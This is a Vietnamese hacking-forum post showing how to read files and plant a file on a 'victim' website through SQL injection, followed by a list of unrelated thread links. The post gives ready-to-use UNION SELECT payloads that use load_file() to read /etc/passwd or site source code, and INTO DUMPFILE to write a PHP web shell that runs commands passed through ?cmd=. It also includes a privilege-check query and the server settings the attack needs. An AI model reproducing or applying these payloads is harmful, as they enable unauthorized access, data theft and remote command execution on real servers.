• Downloading from our site will require you to have a paid membership. Upgrade to a Premium Membership from 10$ a month today!

    Dont forget read our Rules! Also anyone caught Sharing this content will be banned. By using this site you are agreeing to our rules so read them. Saying I did not know is simply not an excuse! You have been warned.

Hướng dẫn đọc file và tạo file bằng sqli

Admin

Well-Known Member
Staff member
Administrator
Victim thuộc loại này hơi bị khó tìm nên đọc tham khảo thôi nhé :khakha:

Victim:
domain/@/index.php?id=1099 <~ link xàm nhé :D

Ví dụ website này có 3 trường, version 5 (có thể khai thác)


1. Đọc file

- domain/@/index.php?id=-1099 union select 1,load_FILE(0xđường_dẫn_file_cần_đọc),3 #

Trong đó "đường_dẫn_file_cần_đọc" là đường dẫn đến 1 file nào đó có trong hệ thống này (ví dụ như: /home/GAY/public_html/index.php hoặc /etc/passwd) và mã hóa nó thành hex. Sau đó thì view-source, code nằm hiện ra trước mắt ta :D

2. Tạo file

-
domain/@/index.php?id=-1099 union select 1,'<?php system($_GET['cmd']); ?>',3+INTO+DUMPFILE+"/đường_dẫn_file_được_lưu/GT.php"#

Trong đó '<?php system($_GET['cmd']); ?>' là nội dung file sẽ được tạo, INTO+DUMPFILE là mã lệnh thực thi, "/đường_dẫn_file_dc_lưu/GT.php" là đường dận file sẽ được lưu vào 1 nơi nào đó trong hệ thống (GT.php là tên file sẽ được tạo, ví dụ:
/home/GAY/public_html/@/GT.php). Cái code shell trên khi chạy shell thì nó sẽ như thế này "http://domain/@/GT.php?cmd=" và nó được sử dụng như chức năng system trên 1 con shell bình thường.

Yêu cầu: safe_mod=off, magic_quotes_gpc = OFF

Để kiểm tra xem có quyền thực thi trên không thì bằng query

select file_priv from mysql.user where user=user()

Ra chữ Y là có quyền, N là không.
nếu query lỗi thì user đó không với tới table mysql.user :D
 
Màu chữ chói wá nhìn loè cả mắt rồi
 

Facebook Comments

Similar threads
Thread starter Title Forum Replies Date
P Foxit PhantomPDF Business 8.3.0.14878 Portable - Phần mềm đọc, chỉnh sửa và chuyển đổi file PDF Phần mềm 0
P Phần mềm PC Foxit PhantomPDF Business 8.2.0.2192 - Phần mềm đọc, chỉnh sửa và chuyển đổi file PDF Phần mềm 0
D Hướng dẫn lưu nội dung file ảnh vào CSDL và đọc ra từ CSDL All Shared Scripts 1
Admin Download Nitro Reader 3.5.3.14 full - Trình đọc và sửa file PDF chuyên nghiệp Phần mềm 0
T Phần mềm PC Foxit Reader v.7.1.5.0425 mới nhất 2015 Full - Phần mềm đọc file PDF nhanh nhất win 7 8 XP Phần mềm 0
Admin Download Foxit Read Portable - Phần mềm đọc file PDF miễn phí Phần mềm 0
Admin Download foxit reader 6 full mới nhất - Ứng dụng đọc file pdf miễn phí Phần mềm 0
K Đọc Mọi File Không Cần Shell Hacking 0
Admin Chương trình đọc file PDF. Quick office Adobe Reader cho s60v3 S60 0
Yeukodamnoi Phần mềm PC Xin phần mềm đọc file .jar trên PC Phần mềm 3
Admin [Share] Phần mềm đọc file .doc cho s40 S40 5
marketingphongkham Chiến Lược Marketing Phòng Khám Chuẩn – Nên Đọc Thảo luận chung 0
L Share RIMS - Ứng dụng ghi đọc chỉ số điện nước trên thiết bị di động (Smartphone) Phần mềm 0
D 3 truyện đô thị đặc sắc nhất nên đọc Sách, truyện, tài liệu 0
L Hỏi phần mềm đọc truyện audio All Shared Scripts 4
Tjeuphong Ứng dụng đọc truyện cười Thảo luận chung 0
T Share Code mã nguồn web đọc truyện đẹp cho các bạn Johncms 0
N Đọc ngay !!! Thảo luận chung 1
blog4me Share Code web đọc truyện online PHP Mã nguồn web 22
C Hỏi Cách chỉnh cho hình ảnh bự ra khi đọc bằng điện thoại Vbulletin 0
Admin Mời tải về Paper cho iPhone - ứng dụng đọc tin tức rất đẹp của Facebook Android, iOS 0
Admin Hướng dẫn tạo plugin vô hiệu hóa ai đã đọc bài viết cho vbb Vbb tutorial 0
Admin Phonly, trình đọc tin tức ngon và đẹp cho Windows Phone, hỗ trợ sync với Feedly Windows phone 1
Admin Facebook đang thử nghiệm tính năng lưu đường link lại để đọc sau Tin tức CNTT 4
Admin Hướng dẫn đọc PDF trên lumia 520 Windows phone 0
G S40 Ứng dụng đọc,tải truyện tranh crack vh 100% Java 3
Myshare Ai đang dùng trình duyệt Cờ Rôm + của Cốc Cốc Nên Vào Đọc Máy tính 1
H Hỏi Đọc giúp con ccv này với ae Hacking 9
Admin Hướng dẫn thêm ai đã đọc chủ đề cho style mobile vbb Vbb tutorial 0
Lee_Jin Help Forum đọc "chi tiết bài viết" không thấy css Johncms 1
T [Hay, nên đọc] Âm mưu đằng sau nhữngliên kiến qua UCWEB Tin tức, sự kiện thường ngày 4
T S40 Bán điện thoại chấm đọc, Bán bút chấm đọc, học tiếng anh bằng điện thoại s600 Điện thoại di động 0
T S40 Điện thoại chấm đọc học tiếng anh, vừa nghe gọi, vùa học tiếng anh với s600 Điện thoại di động 0
Admin Ứng dụng Đọc Me Ola Hài Hước Update 9-4-2013 Crack, hack, mod, ghép game, ứng dụng 0
VMS-Mobifone Mobifone-CTKM dịch vụ Đọc báo qua MMS tháng 01/2013 Thông tin các mạng di động 6
Admin Share template blogger đọc báo giống hệt vnexpress Blogger 0
T Tuyển tập truyện cười Vova - Chị em đừng đọc Truyện cười 0
Yeukodamnoi Xin code và data wap đọc truyện ngon Mã nguồn wap 0
VMS-Mobifone mobifone với CTKM dịch vụ Đọc báo qua MMS tháng 01/2013. Thông tin các mạng di động 0
Yeukodamnoi Thủ thuật Xem video, nghe nhạc, đọc tin nhắn khi đang lướt web Thủ thuật ĐTDĐ 0
blog4me [Hốt] M.n vào đọc đi. Sốck.Cười mà chết. Truyện cười 4
Cuongkoj00 Truyện ngắn không tên - Đọc và cảm nhận về tình yêu Sách, truyện, tài liệu 0
Cuongkoj00 Top ola me hài đọc and like Truyện cười 0
Cuongkoj00 Đọc, và suy ngẫm Sách, truyện, tài liệu 0
Admin Thủ đoạn để cưới vợ (đọc lấy kinh nghiệm) Hình ảnh 2
Cuongkoj00 chuyện hài toàn chữ t ae vào đọc Sách, truyện, tài liệu 0
Admin Phần mềm đọc báo trên điện thoại BaoNet 5 Symbian S60 1
Admin Ebook hay về SQL Injection (nên đọc) SQL injection 1
2 S40 Phần mềm đọc suy nghĩ S40 0
X Dành mấy phút để đọc kẻo quá muộn màng Trò chuyện linh tinh 0

Similar threads

New posts New threads New resources

Back
Top